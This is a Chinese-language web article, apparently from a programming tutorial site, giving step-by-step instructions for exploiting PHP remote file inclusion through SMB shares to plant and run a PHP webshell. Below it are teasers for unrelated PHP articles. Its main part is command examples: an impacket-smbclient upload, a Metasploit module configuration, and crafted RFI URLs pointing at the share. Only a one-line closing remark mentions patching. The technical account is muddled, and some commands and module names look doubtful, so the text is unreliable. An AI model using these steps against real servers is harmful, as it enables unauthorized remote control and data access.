使用SMB共享来绕过php远程文件包含的限制执行RFI的利用

使用SMB共享来绕过PHP远程文件包含(RFI)的限制执行是一种常见的攻击技术,也被称为SMB马(SMB-backdoor)。在这种攻击中,攻击者会通过构造恶意请求来将恶意文件上传到目标服务器上,然后将其包含到PHP代码中以达到对服务器的远程控制。

以下是完整的攻略步骤:

  1. 寻找具有远程文件包含漏洞的目标站点。

  2. 准备一个具有有效文件路径的可上传文件(例如PHP shell)。

  3. 通过SMB共享将可上传文件上传到目标服务器。可以使用工具如impacket-smbclient或Metasploit的模块进行此操作。

示例:

使用impacket-smbclient:

impacket-smbclient //<ip_address>/share -U <username>%<password>
put shell.php

使用Metasploit的模块:

use auxiliary/admin/smb/smb_phpupload
set RHOST <ip_address>
set SMBUser <username>
set SMBPass <password>
set SHARE myshare
set SHAREDISK C$
set filename shell.php
run
  1. 构造恶意请求并将可上传文件包含到PHP代码中。为了绕过远程文件包含限制,攻击者可以利用文件协议伪造绝对或相对路径,如file://///share/shell.php或../share/shell.php。

示例:

http://<target_url>/index.php?page=file:////<ip_address>/share/shell.php
http://<target_url>/index.php?page=../share/shell.php
  1. 如果一切顺利,就可以远程控制目标服务器了,使其执行任意命令、访问文件系统等等。

这种攻击技术的危害性非常大,因此建议所有开发人员和服务器管理员都密切关注漏洞信息,进行相应的补丁和安全加固操作。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • php实现的Curl封装类Curl.class.php用法实例分析

    首先我们来介绍一下“php实现的Curl封装类Curl.class.php”的用法及其分析攻略。 1. 什么是Curl? Curl是一个在很多操作系统下都可以实现数据传输的命令行工具,而在php中,可以使用Curl库来进行http数据传输,比如获取远程网页内容、上传图片、发送post/get请求等等。 2. 什么是Curl.class.php Curl.cl…

    PHP 2023年5月26日
    00
  • php 获取全局变量的代码

    获取 PHP 全局变量是 PHP 开发中一个非常基本且常见的操作。在 PHP 中,PHP 全局变量是指在所有作用域中都可以访问的变量,可以在脚本的任何地方访问它们。 以下是获取 PHP 全局变量的代码示例: 示例 1 有一个 PHP 全局变量 $GLOBALS,在任何 PHP 脚本文件中都可以直接访问它。使用 $GLOBALS 可以获取到 PHP 脚本中定义…

    PHP 2023年5月23日
    00
  • 默默小谈PHP&MYSQL分页原理及实现

    介绍 PHP和MYSQL是当前非常流行的两个技术,而分页在Web开发中也是非常常用的功能。本文将详细介绍PHP和MYSQL分页原理及其实现,让开发者可以更好地理解和实现分页功能。 分页原理 分页主要涉及两个概念:当前页和每页显示的记录数。在进行分页时,需要计算出总记录数和总页数。 总记录数的计算非常简单,只需要查询数据表中总的记录数即可。 总页数的计算需要用…

    PHP 2023年5月27日
    00
  • 浅谈PHP中的错误处理和异常处理

    浅谈PHP中的错误处理和异常处理 PHP作为目前使用量最大的Web编程语言之一,其强大和灵活的特性得到了越来越多的开发者的认可。但在实际开发中,难免会遇到各种错误和异常,造成程序的崩溃或性能损失。因此,有效的错误处理和异常处理,是保证程序稳定性和安全性的重要手段。本文将从语法层面介绍PHP中的错误和异常处理,及其使用实例。 错误处理 在PHP中,错误处理一般…

    PHP 2023年5月26日
    00
  • PHP常见数学函数及BC高精度数学函数用法示例

    首先我们要明确一下本文要讲解的主要内容——PHP常见数学函数及BC高精度数学函数用法示例。 一、PHP常见数学函数 abs() 函数 该函数用于返回一个数的绝对值。例如: $num = -9; echo abs($num); // output: 9 ceil() 函数 该函数用于对一个数进行向上取整操作。例如: $num = 3.14; echo ceil…

    PHP 2023年5月23日
    00
  • SQL Server 2012 身份验证(Authentication)

    SQL Server 2012 身份验证是指在连接 SQL Server 数据库时对用户身份进行验证。SQL Server 2012 支持多种身份验证方式,包括 Windows 身份验证和 SQL Server 身份验证。 Windows 身份验证 使用 Windows 身份验证时,用户的身份验证信息会自动从本地 Windows 操作系统或域控制器中获取。通…

    PHP 2023年5月30日
    00
  • 详解php中 === 的使用

    标题:详解PHP中===的使用 在PHP中,可以用“===”来进行严格比较,这是一个非常重要的运算符,需要我们详细了解和掌握。 一、运算符的含义 “===”是PHP中的一个三个等于号的运算符,其功能就是用于比较两个变量的值和类型是否相等,如果完全相等则返回true,否则返回false。 二、比较值和类型 下面通过两条示例说明如何比较值和类型是否相等。 1. …

    PHP 2023年5月26日
    00
  • php实现比较全的数据库操作类

    使用PHP操作数据库是Web开发中的常见任务之一。为了方便开发人员,许多编写了许多数据库操作类。下面是实现比较全面的PHP数据库操作类的攻略。 步骤1:创建一个数据库操作类 创建一个名为Database的类并声明连接属性: class Database { private $host = ‘localhost’; private $username = ‘r…

    PHP 2023年5月27日
    00
合作推广
合作推广
分享本页
返回顶部